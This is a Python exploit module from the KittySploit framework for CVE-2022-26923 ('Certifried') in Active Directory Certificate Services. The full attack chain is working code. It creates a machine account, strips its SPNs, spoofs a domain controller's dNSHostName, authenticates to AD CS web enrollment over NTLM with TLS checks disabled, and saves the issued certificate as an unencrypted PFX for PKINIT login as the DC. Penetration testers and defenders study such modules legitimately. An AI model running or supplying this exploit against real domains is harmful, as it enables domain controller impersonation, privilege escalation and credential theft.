Certifried AD CS Machine Certificate Spoofing (CVE-2022-26923)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""Certifried AD CS machine certificate spoofing (CVE-2022-26923)."""

import base64
import os
import re
import secrets
import ssl
import string
import urllib.parse
from http.client import HTTPConnection, HTTPSConnection

from kittysploit import *
from lib.protocols.ldap.ad_client import Ad_client, LDAP3_AVAILABLE

try:
    from ldap3 import MODIFY_DELETE, MODIFY_REPLACE
    from ldap3.extend.microsoft.modifyPassword import ad_modify_password
except ImportError:
    MODIFY_DELETE = MODIFY_REPLACE = None
    ad_modify_password = None


class Module(Exploit, Ad_client):
    __info__ = {
        "name": "Certifried AD CS Machine Certificate Spoofing (CVE-2022-26923)",
        "description": (
            "Exploits CVE-2022-26923: creates a machine account, clears its SPN, sets "
            "dNSHostName to match a domain controller, then enrolls an AD CS Machine "
            "template certificate via NTLM web enrollment. The resulting certificate "
            "may authenticate as the spoofed DC via PKINIT."
        ),
        "author": ["KittySploit Team", "Olivier Lyak", "Charlie Clark"],
        "cve": ["CVE-2022-26923"],
        "platform": Platform.MULTI,
        "arch": [Arch.X64],
        "references": [
            "https://nvd.nist.gov/vuln/detail/CVE-2022-26923",
            "https://research.ifcr.dk/certifried-active-directory-domain-persistence-part-1-3827322fb536",
        ],
        "tags": ["ad", "ldap", "adcs", "certifried", "kerberos", "privesc", "kev"],
        "agent": {
            "risk": "critical",
            "effects": ["active_exploitation", "credential_access"],
            "expected_requests": 10,
            "reversible": False,
            "approval_required": True,
            "produces": ["credentials", "exploit_paths"],
            "chain": {
                "suggested_followups": [
                    "scanner/ldap/certifried_cve_2022_26923_detect",
                    "scanner/ldap/adcs_misconfig_scanner",
                ],
            },
        },
    }

    dc_name = OptString("", "Target domain controller NetBIOS name (without $)", required=False)
    ca_host = OptString("", "AD CS web enrollment host (defaults to DC FQDN)", required=False)
    ca_port = OptPort(443, "AD CS web enrollment port", required=False)
    ca_tls = OptBool(True, "Use HTTPS for AD CS enrollment", required=False)
    template = OptString("Machine", "Certificate template to request", required=False)
    computer_name = OptString("", "Fake computer account prefix (auto if empty)", required=False)
    lootdir = OptString(".", "Directory for output PFX", required=False)
    cleanup_account = OptBool(True, "Delete temporary computer account on exit", required=False)
    replication_sleep = OptInteger(5, "Seconds to wait after dNSHostName change", required=False, advanced=True)

    def _require_deps(self):
        if not LDAP3_AVAILABLE or MODIFY_REPLACE is None or ad_modify_password is None:
            raise ImportError("ldap3 is required. Install with: pip install ldap3")
        try:
            from cryptography import x509  # noqa: F401
            from impacket.ntlm import getNTLMSSPType1, getNTLMSSPType3  # noqa: F401
        except ImportError as exc:
            raise ImportError("cryptography and impacket are required") from exc

    def _random_computer(self) -> str:
        custom = str(self.computer_name or "").strip().rstrip("$")
        if custom:
            return custom[:12]
        suffix = "".join(secrets.choice(string.ascii_uppercase + string.digits) for _ in range(6))
        return f"KITTY{suffix}"[:15]

    def _find_dc(self):
        name_filter = str(self.dc_name or "").strip().rstrip("$")
        entries = self.search(
            "(&(objectCategory=computer)(userAccountControl:1.2.840.113556.1.4.803:=8192))",
            ["sAMAccountName", "dNSHostName", "name"],
            base=self.base_dn,
        )
        if not entries:
            return None
        if name_filter:
            for entry in entries:
                if self.attr_str(entry, "sAMAccountName").rstrip("$").lower() == name_filter.lower():
                    return entry
            return None
        return entries[0]

    def _machine_account_quota(self) -> int:
        obj = self.get_domain_object()
        return self.attr_int(obj, "ms-DS-MachineAccountQuota", 0) if obj else 0

    def _create_computer(self, computer: str, password: str) -> str:
        dn = f"CN={computer},CN=Computers,{self.base_dn}"
        domain = self.domain.lower()
        attrs = {
            "objectClass": ["top", "person", "organizationalPerson", "user", "computer"],
            "cn": computer,
            "sAMAccountName": f"{computer}$",
            "userAccountControl": 4096,
            "servicePrincipalName": [
                f"HOST/{computer.lower()}.{domain}",
                f"HOST/{computer.lower()}",
            ],
            "dNSHostName": f"{computer.lower()}.{domain}",
        }
        if not self.conn.add(dn, attributes=attrs):
            raise RuntimeError(f"Failed to create computer account: {self.conn.result}")
        if not ad_modify_password(self.conn, dn, password, None):
            self.conn.delete(dn)
            raise RuntimeError(f"Failed to set machine password (try LDAPS/ssl=True): {self.conn.result}")
        return dn

    def _certifried_modify(self, dn: str, dc_fqdn: str) -> None:
        entry = self.search(f"(distinguishedName={dn})", ["servicePrincipalName"], base=self.base_dn, size_limit=1)
        spns = self.attr_list(entry[0], "servicePrincipalName") if entry else []
        changes = {}
        if spns:
            changes["servicePrincipalName"] = [(MODIFY_DELETE, spns)]
        changes["dNSHostName"] = [(MODIFY_REPLACE, [dc_fqdn.lower()])]
        if not self.conn.modify(dn, changes):
            raise RuntimeError(f"Certifried LDAP modify failed: {self.conn.result}")

    def _delete_computer(self, dn: str) -> None:
        try:
            self.conn.delete(dn)
        except Exception:
            pass

    def _ntlm_auth_header(self, host: str, port: int, use_tls: bool, username: str, password: str) -> str:
        from impacket.ntlm import getNTLMSSPType1, getNTLMSSPType3

        domain = self.domain.upper()
        user = username
        if "\\" in username:
            domain, user = username.split("\\", 1)

        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            conn = HTTPSConnection(host, port, timeout=30, context=ctx)
        else:
            conn = HTTPConnection(host, port, timeout=30)

        type1 = getNTLMSSPType1()
        conn.request(
            "GET",
            "/certsrv/certrqxt.asp",
            headers={"Authorization": f"NTLM {base64.b64encode(type1.getData()).decode('ascii')}"},
        )
        resp = conn.getresponse()
        resp.read()
        auth = resp.getheader("WWW-Authenticate") or ""
        match = re.search(r"NTLM\s+([A-Za-z0-9+/=]+)", auth, re.I)
        if not match:
            conn.close()
            raise RuntimeError("AD CS did not return an NTLM challenge")
        type2 = base64.b64decode(match.group(1))
        type3, _ = getNTLMSSPType3(type1, type2, user, password, domain, use_ntlmv2=True)
        token = base64.b64encode(type3.getData()).decode("ascii")
        conn.request("GET", "/certsrv/certrqxt.asp", headers={"Authorization": f"NTLM {token}"})
        resp2 = conn.getresponse()
        resp2.read()
        conn.close()
        if resp2.status not in (200, 302):
            raise RuntimeError(f"NTLM authentication failed (HTTP {resp2.status})")
        return f"NTLM {token}"

    def _enroll_machine_cert(
        self,
        host: str,
        port: int,
        use_tls: bool,
        username: str,
        password: str,
        common_name: str,
        template: str,
        lootdir: str,
    ) -> str:
        from cryptography import x509
        from cryptography.hazmat.primitives import hashes, serialization
        from cryptography.hazmat.primitives.asymmetric import rsa
        from cryptography.hazmat.primitives.serialization import Encoding, NoEncryption, pkcs12
        from cryptography.x509.oid import NameOID

        auth_header = self._ntlm_auth_header(host, port, use_tls, username, password)
        if use_tls:
            ctx = ssl.create_default_context()
            ctx.check_hostname = False
            ctx.verify_mode = ssl.CERT_NONE
            conn = HTTPSConnection(host, port, timeout=30, context=ctx)
        else:
            conn = HTTPConnection(host, port, timeout=30)

        private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
        csr = (
            x509.CertificateSigningRequestBuilder()
            .subject_name(x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)]))
            .sign(private_key, hashes.SHA256())
        )
        csr_pem = csr.public_bytes(Encoding.PEM).decode("ascii")
        csr_body = csr_pem.replace("\n", "").replace("+", "%2b").replace(" ", "+")
        cert_attrib = f"CertificateTemplate:{template}"
        body = (
            "Mode=newreq&CertRequest="
            + csr_body
            + "&CertAttrib="
            + urllib.parse.quote(cert_attrib, safe="")
            + "&TargetStoreFlags=0&SaveCert=yes&ThumbPrint="
        )
        headers = {
            "Authorization": auth_header,
            "Content-Type": "application/x-www-form-urlencoded",
            "Content-Length": str(len(body)),
        }
        conn.request("POST", "/certsrv/certfnsh.asp", body=body, headers=headers)
        response = conn.getresponse()
        content = response.read().decode("utf-8", errors="ignore")
        if response.status != 200:
            conn.close()
            raise RuntimeError(f"Certificate enrollment failed (HTTP {response.status})")
        found = re.findall(r'location="certnew.cer\?ReqID=(.*?)&', content)
        if not found:
            conn.close()
            raise RuntimeError("Could not parse certificate request ID from AD CS response")
        conn.request("GET", f"/certsrv/certnew.cer?ReqID={found[0]}", headers={"Authorization": auth_header})
        cert_pem = conn.getresponse().read().decode("utf-8", errors="ignore")
        conn.close()

        cert_obj = x509.load_pem_x509_certificate(cert_pem.encode("ascii"))
        pfx_data = pkcs12.serialize_key_and_certificates(
            name=b"",
            key=private_key,
            cert=cert_obj,
            cas=None,
            encryption_algorithm=NoEncryption(),
        )
        os.makedirs(lootdir or ".", exist_ok=True)
        safe = re.sub(r"[^A-Za-z0-9._-]", "_", common_name.rstrip("$"))
        out = os.path.join(lootdir, f"{safe}_certifried.pfx")
        with open(out, "wb") as handle:
            handle.write(pfx_data)
        return out

    def check(self):
        try:
            self._require_deps()
        except ImportError as exc:
            return {"vulnerable": False, "reason": str(exc), "confidence": "low"}
        if not self.conn:
            return {"vulnerable": False, "reason": "LDAP bind failed", "confidence": "low"}
        if self._machine_account_quota() <= 0:
            return {
                "vulnerable": False,
                "reason": "ms-DS-MachineAccountQuota is 0",
                "confidence": "high",
            }
        if not self.config_dn:
            return {"vulnerable": False, "reason": "No AD configuration naming context", "confidence": "low"}
        templates = self.search(
            "(&(objectClass=pKICertificateTemplate)(|(cn=Machine)(name=Machine)))",
            ["cn"],
            base=self.config_dn,
            size_limit=1,
        )
        services = self.search(
            "(objectClass=pKIEnrollmentService)",
            ["dNSHostName"],
            base=self.config_dn,
            size_limit=1,
        )
        if not templates or not services:
            return {
                "vulnerable": False,
                "reason": "AD CS Machine template or enrollment service not found",
                "confidence": "medium",
            }
        return {
            "vulnerable": True,
            "reason": "MAQ > 0, Machine template and AD CS enrollment service present",
            "confidence": "medium",
        }

    def run(self):
        try:
            self._require_deps()
        except ImportError as exc:
            print_error(str(exc))
            return False
        if not self.conn:
            print_error("LDAP bind failed")
            return False

        dc = self._find_dc()
        if not dc:
            print_error("Could not locate domain controller")
            return False

        dc_sam = self.attr_str(dc, "sAMAccountName")
        dc_fqdn = self.attr_str(dc, "dNSHostName") or f"{dc_sam.rstrip('$').lower()}.{self.domain.lower()}"
        computer = self._random_computer()
        machine_pass = secrets.token_urlsafe(20)[:24]
        computer_dn = ""
        ca_host = str(self.ca_host or dc_fqdn).strip()
        ca_port = int(self.ca_port or (443 if self.ca_tls else 80))
        template = str(self.template or "Machine").strip()

        print_status(f"Creating machine account {computer}$ ...")
        try:
            computer_dn = self._create_computer(computer, machine_pass)
        except Exception as exc:
            print_error(str(exc))
            return False

        try:
            print_status(f"Applying Certifried dNSHostName spoof -> {dc_fqdn} ...")
            self._certifried_modify(computer_dn, dc_fqdn)
            sleep_sec = max(0, int(self.replication_sleep or 0))
            if sleep_sec:
                print_status(f"Waiting {sleep_sec}s for replication ...")
                import time

                time.sleep(sleep_sec)

            enroll_user = f"{self.domain.upper()}\\{computer}$"
            print_status(f"Requesting '{template}' certificate from {ca_host}:{ca_port} ...")
            pfx_path = self._enroll_machine_cert(
                ca_host,
                ca_port,
                bool(self.ca_tls),
                enroll_user,
                machine_pass,
                dc_sam.rstrip("$"),
                template,
                str(self.lootdir or "."),
            )
            print_success(f"Certificate saved to {pfx_path}")
            print_status(
                f"Try PKINIT: certipy auth -pfx {pfx_path} -dc-ip {self.dc_ip or self.target}"
            )
            return True
        except Exception as exc:
            print_error(f"Certifried chain failed: {exc}")
            return False
        finally:
            if computer_dn and self.cleanup_account:
                print_status("Cleaning up temporary computer account ...")
                self._delete_computer(computer_dn)